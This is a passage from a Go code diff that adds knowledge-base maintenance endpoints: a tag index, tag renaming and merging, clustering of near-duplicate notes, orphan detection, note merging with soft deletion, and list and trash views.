AND r.type = 'procedure-for'
|
||||
AND ke.deleted_at IS NULL
|
||||
ORDER BY 2`,
|
||||
entitySlug)
|
||||
if err != nil {
|
||||
|
||||
544
internal/httpapi/knowledge_drift.go
Normal file
544
internal/httpapi/knowledge_drift.go
Normal file
@@ -0,0 +1,544 @@
|
||||
package httpapi
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"log/slog"
|
||||
"net/http"
|
||||
"sort"
|
||||
"strconv"
|
||||
"strings"
|
||||
)
|
||||
|
||||
// Drift tooling for the knowledge base — the maintenance half of the wiki.
|
||||
//
|
||||
// These endpoints exist because the knowledge base measurably rots on its
|
||||
// own. Two failure modes are already present in live data:
|
||||
//
|
||||
// - **Duplicate pileup.** upsert_knowledge keys on exact title, so a note
|
||||
// titled "rclone backup live inspection — 2026-07-15 10:08 UTC" and one
|
||||
// titled "... 11:18 UTC" are different notes. A single day of agent
|
||||
// activity produced eight near-identical investigations that should have
|
||||
// been one living page. Nothing surfaced that, so it kept happening.
|
||||
// - **Tag drift.** `oom` and `OOM` were separate tags; so were `422` and
|
||||
// `proton-422`. Each split halves the usefulness of tag navigation, and
|
||||
// neither is visible from any single note.
|
||||
//
|
||||
// normalizeTags (knowledge_write.go) stops new casing splits at the door;
|
||||
// these endpoints clean up what's already there and make the rot visible.
|
||||
|
||||
// serveKnowledgeTags returns the tag index: every tag with its usage count,
|
||||
// plus the distinct casings actually stored. `variants` is the interesting
|
||||
// column — it's how the operator discovers that `oom` and `OOM` are the same
|
||||
// idea filed twice, which no individual note reveals.
|
||||
func (s *Server) serveKnowledgeTags(w http.ResponseWriter, req *http.Request) {
|
||||
ctx := req.Context()
|
||||
|
||||
rows, err := s.pool.Query(ctx, `
|
||||
SELECT lower(tag) AS norm,
|
||||
count(*) AS uses,
|
||||
array_agg(DISTINCT tag ORDER BY tag) AS variants
|
||||
FROM knowledge_entities ke, unnest(ke.tags) AS tag
|
||||
WHERE ke.deleted_at IS NULL
|
||||
GROUP BY lower(tag)
|
||||
ORDER BY uses DESC, norm`)
|
||||
if err != nil {
|
||||
writeProblem(w, req, http.StatusInternalServerError, "query failed", err.Error())
|
||||
return
|
||||
}
|
||||
defer rows.Close()
|
||||
|
||||
type tagRow struct {
|
||||
Tag string `json:"tag"`
|
||||
Uses int `json:"uses"`
|
||||
Variants []string `json:"variants"`
|
||||
// True when the same tag is stored under more than one casing —
|
||||
// the UI badges these as needing a normalize.
|
||||
Split bool `json:"split"`
|
||||
}
|
||||
items := []tagRow{}
|
||||
for rows.Next() {
|
||||
var t tagRow
|
||||
if err := rows.Scan(&t.Tag, &t.Uses, &t.Variants); err != nil {
|
||||
slog.Error("httpapi: knowledge/tags row scan failed", "error", err)
|
||||
continue
|
||||
}
|
||||
t.Split = len(t.Variants) > 1
|
||||
items = append(items, t)
|
||||
}
|
||||
|
||||
writeJSON(w, map[string]any{"items": items})
|
||||
}
|
||||
|
||||
// serveRenameKnowledgeTag rewrites one or more tags to a single target across
|
||||
// every live note — the merge/rename/normalize action behind the tag manager.
|
||||
// Passing several `from` values into one `to` is the merge case
|
||||
// (`{"from":["422","proton-422"],"to":"proton-422"}`); passing one is a plain
|
||||
// rename; passing the mixed-case variants is the normalize case.
|
||||
func (s *Server) serveRenameKnowledgeTag(w http.ResponseWriter, req *http.Request) {
|
||||
ctx := req.Context()
|
||||
|
||||
var body struct {
|
||||
From []string `json:"from"`
|
||||
To string `json:"to"`
|
||||
}
|
||||
if err := json.NewDecoder(req.Body).Decode(&body); err != nil {
|
||||
writeProblem(w, req, http.StatusBadRequest, "invalid request body", err.Error())
|
||||
return
|
||||
}
|
||||
to := strings.ToLower(strings.TrimSpace(body.To))
|
||||
from := []string{}
|
||||
for _, f := range body.From {
|
||||
if f = strings.TrimSpace(f); f != "" {
|
||||
from = append(from, f)
|
||||
}
|
||||
}
|
||||
if to == "" || len(from) == 0 {
|
||||
writeProblem(w, req, http.StatusBadRequest, "from and to are required", "")
|
||||
return
|
||||
}
|
||||
|
||||
// Rebuild each affected note's tag array: map every `from` member to
|
||||
// `to`, leave everything else alone, then de-duplicate. The dedupe
|
||||
// matters for the merge case — a note tagged both `422` and
|
||||
// `proton-422` would otherwise end up with `proton-422` twice.
|
||||
//
|
||||
// This is a plain UPDATE on knowledge_entities, so trg_knowledge_revision
|
||||
// fires and every affected note gets a revision. A tag merge across 17
|
||||
// notes is exactly the kind of bulk edit worth being able to inspect
|
||||
// afterwards.
|
||||
tag, err := s.pool.Exec(ctx, `
|
||||
UPDATE knowledge_entities ke
|
||||
SET tags = sub.new_tags, updated_at = now()
|
||||
FROM (
|
||||
SELECT k.entity_id,
|
||||
ARRAY(SELECT DISTINCT CASE WHEN lower(t) = ANY($1) THEN $2 ELSE t END
|
||||
FROM unnest(k.tags) AS t) AS new_tags
|
||||
FROM knowledge_entities k
|
||||
WHERE k.deleted_at IS NULL
|
||||
AND EXISTS (SELECT 1 FROM unnest(k.tags) AS t WHERE lower(t) = ANY($1))
|
||||
) AS sub
|
||||
WHERE ke.entity_id = sub.entity_id`,
|
||||
lowerAll(from), to)
|
||||
if err != nil {
|
||||
writeProblem(w, req, http.StatusInternalServerError, "rename failed", err.Error())
|
||||
return
|
||||
}
|
||||
|
||||
_, actorLabel := actorInfo(ctx)
|
||||
slog.Info("knowledge tags renamed", "from", from, "to", to,
|
||||
"notes", tag.RowsAffected(), "actor", actorLabel)
|
||||
writeJSON(w, map[string]any{"ok": true, "notes_updated": tag.RowsAffected()})
|
||||
}
|
||||
|
||||
// serveKnowledgeDuplicates clusters notes whose titles are near-identical.
|
||||
//
|
||||
// Pairwise trigram similarity is computed in SQL (indexed, and the whole
|
||||
// point of pulling in pg_trgm); the grouping is done here in Go. Returning
|
||||
// clusters rather than pairs matters for the real data: the rclone pileup
|
||||
// produces dozens of pairs, which is unreadable, versus one cluster, which
|
||||
// is the actionable unit.
|
||||
//
|
||||
// The grouping uses **complete linkage** — a note joins a cluster only if it
|
||||
// is similar to every member already in it. The obvious implementation
|
||||
// (union-find over the pairs) is single linkage, and on this data it chains
|
||||
// badly: "A~B, B~C" merged notes that were not remotely alike, collapsing
|
||||
// fifteen distinct backup events into one unusable blob. Requiring mutual
|
||||
// similarity keeps clusters tight enough to act on.
|
||||
//
|
||||
// Even so, these are *candidates for review*, never a verdict. The five
|
||||
// "Lifecycle: <verb> a node" runbooks are mutually similar by title and are
|
||||
// five deliberately distinct documents — no threshold distinguishes them
|
||||
// from a genuine duplicate, so merging stays a manual, previewed action.
|
||||
func (s *Server) serveKnowledgeDuplicates(w http.ResponseWriter, req *http.Request) {
|
||||
ctx := req.Context()
|
||||
|
||||
// 0.6, tuned against the live data: at 0.45 the "Lifecycle: <verb> a
|
||||
// node" runbooks (five deliberately distinct documents that happen to
|
||||
// share a naming template) formed a false-positive cluster; 0.6 clears
|
||||
// that down to a single borderline pair while keeping every genuine
|
||||
// duplicate cluster (the rclone/apt-audit/uptime pileups) intact.
|
||||
// Tunable per request — the UI exposes this as the review net widens.
|
||||
threshold := 0.6
|
||||
if t := req.URL.Query().Get("threshold"); t != "" {
|
||||
if v, err := strconv.ParseFloat(t, 64); err == nil && v > 0 && v <= 1 {
|
||||
threshold = v
|
||||
}
|
||||
}
|
||||
|
||||
rows, err := s.pool.Query(ctx, `
|
||||
SELECT a.slug, b.slug, similarity(ka.title, kb.title) AS sim
|
||||
FROM knowledge_entities ka
|
||||
JOIN knowledge_entities kb ON ka.entity_id < kb.entity_id
|
||||
JOIN entities a ON a.id = ka.entity_id
|
||||
JOIN entities b ON b.id = kb.entity_id
|
||||
WHERE ka.deleted_at IS NULL AND kb.deleted_at IS NULL
|
||||
AND similarity(ka.title, kb.title) > $1
|
||||
ORDER BY sim DESC`, threshold)
|
||||
if err != nil {
|
||||
writeProblem(w, req, http.StatusInternalServerError, "query failed", err.Error())
|
||||
return
|
||||
}
|
||||
defer rows.Close()
|
||||
|
||||
type pair struct {
|
||||
A, B string
|
||||
Sim float64
|
||||
}
|
||||
pairs := []pair{}
|
||||
for rows.Next() {
|
||||
var p pair
|
||||
if err := rows.Scan(&p.A, &p.B, &p.Sim); err != nil {
|
||||
slog.Error("httpapi: knowledge/duplicates row scan failed", "error", err)
|
||||
continue
|
||||
}
|
||||
pairs = append(pairs, p)
|
||||
}
|
||||
|
||||
// Complete-linkage grouping. `pairs` arrives sorted by similarity
|
||||
// descending, so each new cluster is seeded from the strongest remaining
|
||||
// pair and then only grows with notes that are similar to *everything*
|
||||
// already inside it.
|
||||
sim := make(map[string]float64, len(pairs)*2)
|
||||
key := func(a, b string) string {
|
||||
if a > b {
|
||||
a, b = b, a
|
||||
}
|
||||
return a + "\x00" + b
|
||||
}
|
||||
for _, p := range pairs {
|
||||
sim[key(p.A, p.B)] = p.Sim
|
||||
}
|
||||
linked := func(a, b string) bool { return sim[key(a, b)] > 0 }
|
||||
|
||||
assigned := map[string]bool{}
|
||||
type rawCluster struct {
|
||||
members []string
|
||||
top float64
|
||||
}
|
||||
raw := []rawCluster{}
|
||||
|
||||
for _, p := range pairs {
|
||||
if assigned[p.A] || assigned[p.B] {
|
||||
continue
|
||||
}
|
||||
c := rawCluster{members: []string{p.A, p.B}, top: p.Sim}
|
||||
assigned[p.A], assigned[p.B] = true, true
|
||||
|
||||
// Sweep the remaining pairs for candidates that connect to every
|
||||
// current member. Repeat until a full pass adds nothing, since
|
||||
// admitting one member can qualify another.
|
||||
for grew := true; grew; {
|
||||
grew = false
|
||||
for _, q := range pairs {
|
||||
for _, cand := range []string{q.A, q.B} {
|
||||
if assigned[cand] {
|
||||
continue
|
||||
}
|
||||
ok := true
|
||||
for _, m := range c.members {
|
||||
if !linked(cand, m) {
|
||||
ok = false
|
||||
break
|
||||
}
|
||||
}
|
||||
if ok {
|
||||
c.members = append(c.members, cand)
|
||||
assigned[cand] = true
|
||||
grew = true
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
raw = append(raw, c)
|
||||
}
|
||||
|
||||
groups := map[string][]string{}
|
||||
best := map[string]float64{}
|
||||
for _, c := range raw {
|
||||
root := c.members[0]
|
||||
groups[root] = c.members
|
||||
best[root] = c.top
|
||||
}
|
||||
|
||||
// Re-fetch display detail for the clustered slugs only.
|
||||
type member struct {
|
||||
Slug string `json:"slug"`
|
||||
Title string `json:"title"`
|
||||
Kind string `json:"kind"`
|
||||
Size int `json:"size"`
|
||||
UpdatedAt string `json:"updated_at"`
|
||||
EditedBy string `json:"edited_by"`
|
||||
}
|
||||
detail := map[string]member{}
|
||||
if len(groups) > 0 {
|
||||
all := []string{}
|
||||
for _, g := range groups {
|
||||
all = append(all, g...)
|
||||
}
|
||||
drows, derr := s.pool.Query(ctx, `
|
||||
SELECT e.slug, ke.title, e.type, length(ke.content),
|
||||
ke.updated_at::text, COALESCE(ke.edited_by,'')
|
||||
FROM knowledge_entities ke
|
||||
JOIN entities e ON e.id = ke.entity_id
|
||||
WHERE e.slug = ANY($1) AND ke.deleted_at IS NULL`, all)
|
||||
if derr != nil {
|
||||
writeProblem(w, req, http.StatusInternalServerError, "detail query failed", derr.Error())
|
||||
return
|
||||
}
|
||||
defer drows.Close()
|
||||
for drows.Next() {
|
||||
var m member
|
||||
if err := drows.Scan(&m.Slug, &m.Title, &m.Kind, &m.Size, &m.UpdatedAt, &m.EditedBy); err != nil {
|
||||
slog.Error("httpapi: knowledge/duplicates detail scan failed", "error", err)
|
||||
continue
|
||||
}
|
||||
detail[m.Slug] = m
|
||||
}
|
||||
}
|
||||
|
||||
type cluster struct {
|
||||
Members []member `json:"members"`
|
||||
TopSim float64 `json:"top_similarity"`
|
||||
TotalSize int `json:"total_size"`
|
||||
}
|
||||
out := []cluster{}
|
||||
for root, slugs := range groups {
|
||||
c := cluster{TopSim: best[root]}
|
||||
for _, sl := range slugs {
|
||||
if m, ok := detail[sl]; ok {
|
||||
c.Members = append(c.Members, m)
|
||||
c.TotalSize += m.Size
|
||||
}
|
||||
}
|
||||
if len(c.Members) < 2 {
|
||||
continue
|
||||
}
|
||||
// Newest first inside a cluster — the most recent note is usually
|
||||
// the one worth keeping as the merge target.
|
||||
sort.Slice(c.Members, func(i, j int) bool {
|
||||
return c.Members[i].UpdatedAt > c.Members[j].UpdatedAt
|
||||
})
|
||||
out = append(out, c)
|
||||
}
|
||||
// Biggest clusters first: an eight-note pileup deserves attention before
|
||||
// a two-note coincidence.
|
||||
sort.Slice(out, func(i, j int) bool {
|
||||
if len(out[i].Members) != len(out[j].Members) {
|
||||
return len(out[i].Members) > len(out[j].Members)
|
||||
}
|
||||
return out[i].TopSim > out[j].TopSim
|
||||
})
|
||||
|
||||
writeJSON(w, map[string]any{"clusters": out, "threshold": threshold})
|
||||
}
|
||||
|
||||
// serveKnowledgeOrphans surfaces notes that have fallen out of every
|
||||
// navigation path — the ones that are technically present but effectively
|
||||
// unreachable, and so quietly stop being maintained.
|
||||
//
|
||||
// Three independent reasons, reported per note (a note can have several):
|
||||
// - untagged: invisible to tag navigation
|
||||
// - unlinked: not `about` any entity, so it never appears on a machine's page
|
||||
// - stale: untouched for 90+ days
|
||||
func (s *Server) serveKnowledgeOrphans(w http.ResponseWriter, req *http.Request) {
|
||||
ctx := req.Context()
|
||||
|
||||
staleDays := 90
|
||||
if d := req.URL.Query().Get("stale_days"); d != "" {
|
||||
if v, err := strconv.Atoi(d); err == nil && v > 0 && v <= 3650 {
|
||||
staleDays = v
|
||||
}
|
||||
}
|
||||
|
||||
rows, err := s.pool.Query(ctx, fmt.Sprintf(`
|
||||
SELECT e.slug, ke.title, e.type, COALESCE(ke.edited_by,''),
|
||||
ke.updated_at::text,
|
||||
(ke.tags IS NULL OR cardinality(ke.tags) = 0) AS untagged,
|
||||
NOT EXISTS (
|
||||
SELECT 1 FROM relationships r
|
||||
WHERE r.source_id = ke.entity_id AND r.valid_to IS NULL
|
||||
AND r.type IN ('documents', 'about')
|
||||
) AS unlinked,
|
||||
(ke.updated_at < now() - interval '%d days') AS stale
|
||||
FROM knowledge_entities ke
|
||||
JOIN entities e ON e.id = ke.entity_id
|
||||
WHERE ke.deleted_at IS NULL
|
||||
ORDER BY ke.updated_at ASC`, staleDays))
|
||||
if err != nil {
|
||||
writeProblem(w, req, http.StatusInternalServerError, "query failed", err.Error())
|
||||
return
|
||||
}
|
||||
defer rows.Close()
|
||||
|
||||
type orphan struct {
|
||||
Slug string `json:"slug"`
|
||||
Title string `json:"title"`
|
||||
Kind string `json:"kind"`
|
||||
EditedBy string `json:"edited_by"`
|
||||
UpdatedAt string `json:"updated_at"`
|
||||
Reasons []string `json:"reasons"`
|
||||
}
|
||||
items := []orphan{}
|
||||
counts := map[string]int{"untagged": 0, "unlinked": 0, "stale": 0}
|
||||
for rows.Next() {
|
||||
var o orphan
|
||||
var untagged, unlinked, stale bool
|
||||
if err := rows.Scan(&o.Slug, &o.Title, &o.Kind, &o.EditedBy, &o.UpdatedAt,
|
||||
&untagged, &unlinked, &stale); err != nil {
|
||||
slog.Error("httpapi: knowledge/orphans row scan failed", "error", err)
|
||||
continue
|
||||
}
|
||||
o.Reasons = []string{}
|
||||
if untagged {
|
||||
o.Reasons = append(o.Reasons, "untagged")
|
||||
counts["untagged"]++
|
||||
}
|
||||
if unlinked {
|
||||
o.Reasons = append(o.Reasons, "unlinked")
|
||||
counts["unlinked"]++
|
||||
}
|
||||
if stale {
|
||||
o.Reasons = append(o.Reasons, "stale")
|
||||
counts["stale"]++
|
||||
}
|
||||
if len(o.Reasons) > 0 {
|
||||
items = append(items, o)
|
||||
}
|
||||
}
|
||||
|
||||
writeJSON(w, map[string]any{
|
||||
"items": items,
|
||||
"counts": counts,
|
||||
"stale_days": staleDays,
|
||||
})
|
||||
}
|
||||
|
||||
// serveMergeKnowledge folds several notes into one: each source's body is
|
||||
// appended to the target under a provenance heading, the union of all tags is
|
||||
// kept, and the sources are soft-deleted.
|
||||
//
|
||||
// Append rather than discard, and soft-delete rather than hard: a merge is a
|
||||
// judgement call made from a similarity score, and the operator needs to be
|
||||
// able to walk it back. The target's pre-merge state is captured by the
|
||||
// revision trigger, so the merge itself is undoable from the History tab.
|
||||
func (s *Server) serveMergeKnowledge(w http.ResponseWriter, req *http.Request) {
|
||||
ctx := req.Context()
|
||||
|
||||
var body struct {
|
||||
Target string `json:"target"`
|
||||
Sources []string `json:"sources"`
|
||||
}
|
||||
if err := json.NewDecoder(req.Body).Decode(&body); err != nil {
|
||||
writeProblem(w, req, http.StatusBadRequest, "invalid request body", err.Error())
|
||||
return
|
||||
}
|
||||
if strings.TrimSpace(body.Target) == "" || len(body.Sources) == 0 {
|
||||
writeProblem(w, req, http.StatusBadRequest, "target and sources are required", "")
|
||||
return
|
||||
}
|
||||
|
||||
targetID, err := s.resolveKnowledgeEntity(ctx, body.Target)
|
||||
if err != nil {
|
||||
writeProblem(w, req, http.StatusNotFound, "target note not found", body.Target)
|
||||
return
|
||||
}
|
||||
_, actorLabel := actorInfo(ctx)
|
||||
|
||||
tx, err := s.pool.Begin(ctx)
|
||||
if err != nil {
|
||||
writeProblem(w, req, http.StatusInternalServerError, "begin failed", err.Error())
|
||||
return
|
||||
}
|
||||
defer tx.Rollback(ctx)
|
||||
|
||||
var merged []string
|
||||
var appended strings.Builder
|
||||
tagSet := map[string]bool{}
|
||||
|
||||
for _, srcSlug := range body.Sources {
|
||||
if srcSlug == body.Target {
|
||||
continue // merging a note into itself would duplicate its body
|
||||
}
|
||||
var srcTitle, srcContent, srcUpdated string
|
||||
var srcTags []string
|
||||
err := tx.QueryRow(ctx, `
|
||||
SELECT ke.title, ke.content, COALESCE(ke.tags,'{}'), ke.updated_at::text
|
||||
FROM knowledge_entities ke
|
||||
JOIN entities e ON e.id = ke.entity_id
|
||||
WHERE (e.slug = $1 OR e.id::text = $1) AND ke.deleted_at IS NULL`,
|
||||
srcSlug).Scan(&srcTitle, &srcContent, &srcTags, &srcUpdated)
|
||||
if err != nil {
|
||||
slog.Warn("knowledge merge: source not found, skipping", "slug", srcSlug)
|
||||
continue
|
||||
}
|
||||
appended.WriteString("\n\n---\n\n## Merged: ")
|
||||
appended.WriteString(srcTitle)
|
||||
appended.WriteString("\n\n*Originally ")
|
||||
appended.WriteString(srcSlug)
|
||||
appended.WriteString(", last updated ")
|
||||
appended.WriteString(srcUpdated)
|
||||
appended.WriteString("*\n\n")
|
||||
appended.WriteString(srcContent)
|
||||
for _, t := range srcTags {
|
||||
tagSet[strings.ToLower(strings.TrimSpace(t))] = true
|
||||
}
|
||||
merged = append(merged, srcSlug)
|
||||
}
|
||||
|
||||
if len(merged) == 0 {
|
||||
writeProblem(w, req, http.StatusBadRequest, "no valid source notes to merge", "")
|
||||
return
|
||||
}
|
||||
|
||||
extraTags := make([]string, 0, len(tagSet))
|
||||
for t := range tagSet {
|
||||
if t != "" {
|
||||
extraTags = append(extraTags, t)
|
||||
}
|
||||
}
|
||||
sort.Strings(extraTags)
|
||||
|
||||
// The array concat + DISTINCT keeps the target's own tags first and adds
|
||||
// only what the sources contribute.
|
||||
if _, err := tx.Exec(ctx, `
|
||||
UPDATE knowledge_entities
|
||||
SET content = content || $2,
|
||||
tags = ARRAY(SELECT DISTINCT unnest(COALESCE(tags,'{}') || $3::text[])),
|
||||
edited_by = $4,
|
||||
updated_at = now()
|
||||
WHERE entity_id = $1`,
|
||||
targetID, appended.String(), extraTags, actorLabel); err != nil {
|
||||
writeProblem(w, req, http.StatusInternalServerError, "merge write failed", err.Error())
|
||||
return
|
||||
}
|
||||
|
||||
for _, srcSlug := range merged {
|
||||
if _, err := tx.Exec(ctx, `
|
||||
UPDATE knowledge_entities ke
|
||||
SET deleted_at = now(), edited_by = $2
|
||||
FROM entities e
|
||||
WHERE e.id = ke.entity_id AND (e.slug = $1 OR e.id::text = $1)`,
|
||||
srcSlug, actorLabel); err != nil {
|
||||
writeProblem(w, req, http.StatusInternalServerError, "source delete failed", err.Error())
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
if err := tx.Commit(ctx); err != nil {
|
||||
writeProblem(w, req, http.StatusInternalServerError, "commit failed", err.Error())
|
||||
return
|
||||
}
|
||||
|
||||
slog.Info("knowledge merged", "target", body.Target, "sources", merged, "actor", actorLabel)
|
||||
writeJSON(w, map[string]any{"ok": true, "merged": merged, "tags_added": extraTags})
|
||||
}
|
||||
|
||||
// lowerAll is the case-folding helper the tag queries compare against.
|
||||
func lowerAll(in []string) []string {
|
||||
out := make([]string, len(in))
|
||||
for i, s := range in {
|
||||
out[i] = strings.ToLower(strings.TrimSpace(s))
|
||||
}
|
||||
return out
|
||||
}
|
||||
659
internal/httpapi/knowledge_write.go
Normal file
659
internal/httpapi/knowledge_write.go
Normal file
@@ -0,0 +1,659 @@
|
||||
package httpapi
|
||||
|
||||
import (
|
||||
"context"
|
||||
"encoding/json"
|
||||
"errors"
|
||||
"log/slog"
|
||||
"net/http"
|
||||
"net/url"
|
||||
"regexp"
|
||||
"strings"
|
||||
|
||||
"github.com/go-chi/chi/v5"
|
||||
"github.com/google/uuid"
|
||||
"github.com/jackc/pgx/v5"
|
||||
)
|
||||
|
||||
// Operator-facing write path for the knowledge base. Until this file, the
|
||||
// only way anything reached knowledge_entities was the MCP tool
|
||||
// upsert_knowledge (internal/mcp/server.go) — an agent-only surface. The web
|
||||
// UI could search and read but never create, correct, or remove a note, so
|
||||
// the operator's own knowledge had nowhere to go and an agent mistake had no
|
||||
// fix short of psql.
|
||||
//
|
||||
// All routes here are non-OpenAPI custom routes, consistent with the existing
|
||||
// knowledge read routes (see the carve-out block in server.go): they trade in
|
||||
// raw markdown and ad-hoc aggregates rather than generated schema types.
|
||||
//
|
||||
// Deletion is soft (deleted_at) — see migrations/022_knowledge_revisions.up.sql
|
||||
// for why — so every read path in this file filters on `ke.deleted_at IS NULL`.
|
||||
|
||||
// knowledgeSlugSegmentRe strips a title down to a single slug segment.
|
||||
// Mirrors knowledgeSlugRe in internal/mcp/server.go; duplicated rather than
|
||||
// exported across the package boundary because the two callers namespace
|
||||
// their output differently (see knowledgeSlugFor).
|
||||
var knowledgeSlugSegmentRe = regexp.MustCompile(`[^a-z0-9]+`)
|
||||
|
||||
// knowledgeSlugFor builds `<kind>:<folder>/<title-slug>`. The MCP tool's
|
||||
// equivalent hardcodes the `nomos/` folder; operator-created notes need to
|
||||
// land somewhere else so the navigator tree can tell at a glance who wrote
|
||||
// what, and so an operator note can never collide with an agent note that
|
||||
// happens to share a title.
|
||||
func knowledgeSlugFor(kind, folder, title string) string {
|
||||
s := strings.ToLower(strings.TrimSpace(title))
|
||||
s = knowledgeSlugSegmentRe.ReplaceAllString(s, "-")
|
||||
s = strings.Trim(s, "-")
|
||||
if s == "" {
|
||||
s = "note"
|
||||
}
|
||||
if len(s) > 80 {
|
||||
s = s[:80]
|
||||
}
|
||||
folder = strings.Trim(strings.ToLower(strings.TrimSpace(folder)), "/")
|
||||
folder = knowledgeSlugSegmentRe.ReplaceAllString(folder, "-")
|
||||
folder = strings.Trim(folder, "-")
|
||||
if folder == "" {
|
||||
folder = "operator"
|
||||
}
|
||||
return kind + ":" + folder + "/" + s
|
||||
}
|
||||
|
||||
// validKnowledgeKind mirrors the three entity types that knowledge_entities
|
||||
// rows are allowed to hang off (see upsert_knowledge's own check).
|
||||
func validKnowledgeKind(kind string) bool {
|
||||
switch kind {
|
||||
case "document", "investigation", "runbook":
|
||||
return true
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
// resolveKnowledgeEntity maps an id-or-slug path segment to the entity id of
|
||||
// a live (non-deleted) knowledge note. Returns pgx.ErrNoRows when there's no
|
||||
// such note, which callers turn into a 404.
|
||||
func (s *Server) resolveKnowledgeEntity(ctx context.Context, idOrSlug string) (uuid.UUID, error) {
|
||||
var id uuid.UUID
|
||||
err := s.pool.QueryRow(ctx, `
|
||||
SELECT ke.entity_id
|
||||
FROM knowledge_entities ke
|
||||
JOIN entities e ON e.id = ke.entity_id
|
||||
WHERE (e.slug = $1 OR e.id::text = $1)
|
||||
AND ke.deleted_at IS NULL`, idOrSlug).Scan(&id)
|
||||
return id, err
|
||||
}
|
||||
|
||||
// resolveKnowledgeEntityAny is resolveKnowledgeEntity without the
|
||||
// deleted_at filter — for the one read path (revisions) that must still work
|
||||
// on a deleted note. The whole point of soft-delete is that a note's history
|
||||
// stays inspectable after removal (e.g. to confirm what was lost before
|
||||
// restoring it); requiring the note to be live first would defeat that.
|
||||
func (s *Server) resolveKnowledgeEntityAny(ctx context.Context, idOrSlug string) (uuid.UUID, error) {
|
||||
var id uuid.UUID
|
||||
err := s.pool.QueryRow(ctx, `
|
||||
SELECT ke.entity_id
|
||||
FROM knowledge_entities ke
|
||||
JOIN entities e ON e.id = ke.entity_id
|
||||
WHERE e.slug = $1 OR e.id::text = $1`, idOrSlug).Scan(&id)
|
||||
return id, err
|
||||
}
|
||||
|
||||
// pathParam pulls a chi URL param and percent-decodes it. Knowledge slugs
|
||||
// contain both ':' and '/' (e.g. "document:containers/101-jellyfin"), so they
|
||||
// reach the handler still encoded — chi.URLParam does no decoding of its own
|
||||
// on manually-registered routes (unlike the OpenAPI-generated ones, which
|
||||
// decode via runtime.BindStyledParameterWithOptions).
|
||||
func pathParam(req *http.Request, name string) (string, error) {
|
||||
return url.PathUnescape(chi.URLParam(req, name))
|
||||
}
|
||||
|
||||
// serveKnowledgeList returns every live note without its body — the backing
|
||||
// data for the wiki navigator tree. Distinct from /knowledge/recent, which
|
||||
// caps at 200 and exists to answer "what changed lately" for the stats view:
|
||||
// the tree needs the complete set, and needs the linked-entity slugs so it
|
||||
// can offer a group-by-entity arrangement without N+1 fetches.
|
||||
//
|
||||
// Body text is deliberately excluded — with ~100 notes averaging ~1 KB the
|
||||
// full payload would be ~100 KB per app open, to render a list that shows
|
||||
// only titles.
|
||||
func (s *Server) serveKnowledgeList(w http.ResponseWriter, req *http.Request) {
|
||||
ctx := req.Context()
|
||||
|
||||
type item struct {
|
||||
ID string `json:"id"`
|
||||
Slug string `json:"slug"`
|
||||
Title string `json:"title"`
|
||||
Kind string `json:"kind"`
|
||||
Source string `json:"source"`
|
||||
EditedBy string `json:"edited_by"`
|
||||
Tags []string `json:"tags"`
|
||||
About []string `json:"about"`
|
||||
Size int `json:"size"`
|
||||
UpdatedAt string `json:"updated_at"`
|
||||
CreatedAt string `json:"created_at"`
|
||||
Revisions int `json:"revisions"`
|
||||
}
|
||||
|
||||
// The `about` aggregate mirrors GetEntityKnowledge's first UNION branch
|
||||
// (documents/about edges) — the 'procedure-for' branch is left out here
|
||||
// because it joins against entity *types* rather than entities and can't
|
||||
// produce a per-note slug list.
|
||||
rows, err := s.pool.Query(ctx, `
|
||||
SELECT e.id::text, e.slug, ke.title, e.type, COALESCE(ke.source,''),
|
||||
COALESCE(ke.edited_by,''), COALESCE(ke.tags, '{}'),
|
||||
COALESCE((
|
||||
SELECT array_agg(DISTINCT t.slug)
|
||||
FROM relationships r
|
||||
JOIN entities t ON t.id = r.target_id
|
||||
WHERE r.source_id = ke.entity_id
|
||||
AND r.valid_to IS NULL
|
||||
AND r.type IN ('documents', 'about')
|
||||
), '{}'),
|
||||
length(ke.content),
|
||||
ke.updated_at::text, ke.created_at::text,
|
||||
(SELECT count(*) FROM knowledge_revisions kr WHERE kr.entity_id = ke.entity_id)
|
||||
FROM knowledge_entities ke
|
||||
JOIN entities e ON e.id = ke.entity_id
|
||||
WHERE ke.deleted_at IS NULL
|
||||
ORDER BY ke.updated_at DESC`)
|
||||
if err != nil {
|
||||
writeProblem(w, req, http.StatusInternalServerError, "query failed", err.Error())
|
||||
return
|
||||
}
|
||||
defer rows.Close()
|
||||
|
||||
items := []item{}
|
||||
for rows.Next() {
|
||||
var it item
|
||||
if err := rows.Scan(&it.ID, &it.Slug, &it.Title, &it.Kind, &it.Source,
|
||||
&it.EditedBy, &it.Tags, &it.About, &it.Size,
|
||||
&it.UpdatedAt, &it.CreatedAt, &it.Revisions); err != nil {
|
||||
slog.Error("httpapi: knowledge/list row scan failed", "error", err)
|
||||
continue
|
||||
}
|
||||
items = append(items, it)
|
||||
}
|
||||
|
||||
writeJSON(w, map[string]any{"items": items})
|
||||
}
|
||||
|
||||
// serveKnowledgeTrash lists soft-deleted notes — the counterpart to
|
||||
// serveKnowledgeList, and what the "restore" affordance in the UI browses.
|
||||
// Without this, a deleted note is invisible from every list endpoint
|
||||
// (correctly — they all filter deleted_at) with no way to even discover it
|
||||
// exists to restore.
|
||||
func (s *Server) serveKnowledgeTrash(w http.ResponseWriter, req *http.Request) {
|
||||
ctx := req.Context()
|
||||
|
||||
rows, err := s.pool.Query(ctx, `
|
||||
SELECT e.slug, ke.title, e.type, COALESCE(ke.edited_by,''), ke.deleted_at::text
|
||||
FROM knowledge_entities ke
|
||||
JOIN entities e ON e.id = ke.entity_id
|
||||
WHERE ke.deleted_at IS NOT NULL
|
||||
ORDER BY ke.deleted_at DESC`)
|
||||
if err != nil {
|
||||
writeProblem(w, req, http.StatusInternalServerError, "query failed", err.Error())
|
||||
return
|
||||
}
|
||||
defer rows.Close()
|
||||
|
||||
type item struct {
|
||||
Slug string `json:"slug"`
|
||||
Title string `json:"title"`
|
||||
Kind string `json:"kind"`
|
||||
DeletedBy string `json:"deleted_by"`
|
||||
DeletedAt string `json:"deleted_at"`
|
||||
}
|
||||
items := []item{}
|
||||
for rows.Next() {
|
||||
var it item
|
||||
if err := rows.Scan(&it.Slug, &it.Title, &it.Kind, &it.DeletedBy, &it.DeletedAt); err != nil {
|
||||
slog.Error("httpapi: knowledge/trash row scan failed", "error", err)
|
||||
continue
|
||||
}
|
||||
items = append(items, it)
|
||||
}
|
||||
|
||||
